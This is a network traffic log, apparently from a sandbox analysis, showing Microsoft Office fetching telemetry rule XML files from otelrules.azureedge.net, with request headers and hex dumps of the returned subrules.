2024-12-09 05:49:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.11	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:46 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:47 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054947Z-r1cf579d7789trgthC1EWRkkfc000000085g000000004cfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:47 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.11	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 45c5a797-201e-0085-3ead-4934e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054947Z-r1cf579d7788c742hC1EWRr97n00000001qg000000002wth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.11	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 11351553-001e-002b-2f7e-4999f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054948Z-r1cf579d778pftsbhC1EWRa0gn0000000210000000003s9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:48 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.11	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:48 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:49 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a2a82b19-a01e-0002-2e1e-495074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054949Z-r1cf579d778n7642hC1EWRpehw00000000pg00000000134p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.11	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:48 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 32d5c911-c01e-0079-1289-49e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054949Z-r1cf579d7782w22mhC1EWR2ebg00000002a000000000791m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.11	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:49 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054949Z-r1cf579d778t5c2lhC1EWRce3w000000088g000000001czw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:49 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.11	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:49 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 555e9168-001e-0017-4603-480c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054949Z-r1cf579d778d5zkmhC1EWRk6h800000007z00000000045tt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:49 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.11	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:50 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 18148ef3-001e-002b-2504-4899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054950Z-r1cf579d778w59f9hC1EWRze6w00000007p0000000006mgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:50 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.11	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:50 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:51 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:51 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054951Z-r1cf579d778bb9vvhC1EWRs9540000000740000000002nu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.11	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:50 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:51 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0b61f7bb-f01e-0052-4103-489224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054951Z-r1cf579d778d5zkmhC1EWRk6h800000007x00000000073k4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:51 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.11	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:51 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:51 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054951Z-r1cf579d778mvsklhC1EWRkavg00000007vg00000000131t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:51 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.11	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:51 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:51 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:51 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054951Z-r1cf579d778w59f9hC1EWRze6w00000007ng000000007sxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
